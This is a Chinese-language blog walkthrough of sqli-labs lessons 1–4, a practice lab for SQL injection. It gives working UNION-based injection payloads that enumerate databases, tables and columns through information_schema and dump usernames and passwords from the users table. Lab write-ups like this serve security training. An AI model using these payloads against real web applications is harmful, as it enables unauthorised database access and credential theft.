zoukankan      html  css  js  c++  java
  • SQL注入--sqli-labs(1-4关)

    Less_1

    查库:select schema_name from information_schema.schemata

     

    查表:select table_name from information_schema.tables where table_schema=’表名

     

    查列:select column_name from information_schema.columns where table_name='用户名'  

     

    查字段:select id,username,password from security.users

     

    Less1,查看是否有注入,使用单双引号包裹‘’

     单引号报错,即存在注入漏洞

     

     

    Limit 0,1 其中第一位是从第几个开始,比如0代表从第一个开始,而第二位的1代表的就是显示多少个数据

     

    SELECT * FROM users WHERE id='1'or 1=1-- ' LIMIT 0,1

    其中--+ 或者-- 或者#都是sqli语句,输入它,其后面的语句不在执行;

    A and B     AB 都为true则返回值为true

    A or B      AB 其中一个为true则返回值为true

     

    Order by查看有多少列

    对其中的列进行排序,若超过列数则报错。

    采用二分法进行参检:

     

     

     

     

    可以看到3不报错,4报错,则只有三列。

    判断页面有几个显示位使用union select语句

     

    句子里并没有任何回显信息,所以将前面数据 注释掉,

     

      

    使用limit0,1limit1,1limit2,1获得数据库信息

    ?id=-1' union select 1,2,schema_name from information_schema.schemata limit 0,1--+

    ?id=-1' union select 1,2,schema_name from information_schema.schemata limit 1,1--+

    ?id=-1' union select 1,2,schema_name from information_schema.schemata limit 2,1--+

     

     

      

    还有第二种方法能够快速获得数据库信息:

    使用group_concat函数(将所有数据进行拼接显示在一行)

    ?id=-1' union select 1,2, group_concat(schema_name)from information_schema.schemata limit 0,1--+

     

    使用?id=-1' union select 1,2, group_concat(table_name)from information_schema.tables where table_schema='security'--+获得security数据库中表的信息

     

    使用单引号容易出现错误,我们使用十六进制:(在security前面加0x,选中security在选择encoding,然后点击hex encoding即可)

    ?id=-1' union select 1,2, group_concat(table_name)from information_schema.tables where table_schema=0x7365637572697479--+

     

    使用concat_ws(‘~’,A,B)可以即显示数据库名称,也可以显示数据库密码:

    ?id=-1' union select 1,2,group_concat(concat_ws('~',username,password))from security.users--+可以查看所有数据名称以及密码

    concat_ws('~',username,password)引号容易出错,需要换成十六进制:

     

    Less_01总结:

    Less_2

    Less2无包裹;

    使用单引号存在注入漏洞:?id=1'

    less2less1区别为没有单引号包裹,其他步骤相同;

    查看哪些数据可以回显:?id=-1 union select 1,2,3--+

     

    注释还可以使用负数,不止负号,还可以使用超过数据库的数:?id=1231 union select 1,2,3--+

     

    查看所有数据库?id=1231 union select 1,2,group_concat(schema_name) from information_schema.schemata--+

     

    查看所有表:?id=1231 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=0x7365637572697479--+

     

    查看所有列信息:?id=1231 union select 1,2,group_concat(column_name) from information_schema.columns where table_name=0x7573657273--+

     

    查看所有数据对应的名称以及密码:?id=1231 union select 1,2,group_concat(concat_ws(0x7e,username,password)) from security .users--+

     

    Less_2总结:

    Less-3

     

    Less_3使用(1)包裹,其他步骤与less1less2相同;

    查看有多少列:?id=1') order by 3--+

     

    查看多少数据库名称?id=-1')union select 1,2,group_concat(schema_name)from information_schema.schemata --+

     

    查看所有表:id=-1')union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+

     

    查看所有列的信息:?id=-1')union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+

     

    查看所有数据库名称及以及密码:?id=-1') union select 1,2,group_concat(concat('~',username,password)) from security.users--+

     

    Less_4

    Less_4使用(1)包裹,其他步骤与less1less2less3相同;

    查看所有数据库:?id=-1”) union select 1,2,group_concat(schema_name)from information_schema.schemata --+

    查看所有表:?id=-1”) union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+

    查看所有列信息:?id=-1”) union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+

    查看所有数据库名称以及密码:?id=-1") union select 1,2,group_concat(concat('~',username,password)) from security.users--+

    less4总结:

     

  • 相关阅读:
    C#低级Windows API钩子拦截键盘输入
    PowerDesigner 11 使用心得
    c# windows服务状态、启动和停止服务
    PowerDesigner设计数据库
    C# Windows帐户和目录添加用户权限方法
    ASP.NET的控件Gridview在Firefox中的Border显示问题
    去掉图片连接的虚框
    http://www.ediyang.com/demo/DD_Png/
    WEB前端开发规范文档(for: mrthink.net)
    .net下载文件的常用方法汇总
  • 原文地址:https://www.cnblogs.com/199904-04/p/12295073.html
Copyright © 2011-2022 走看看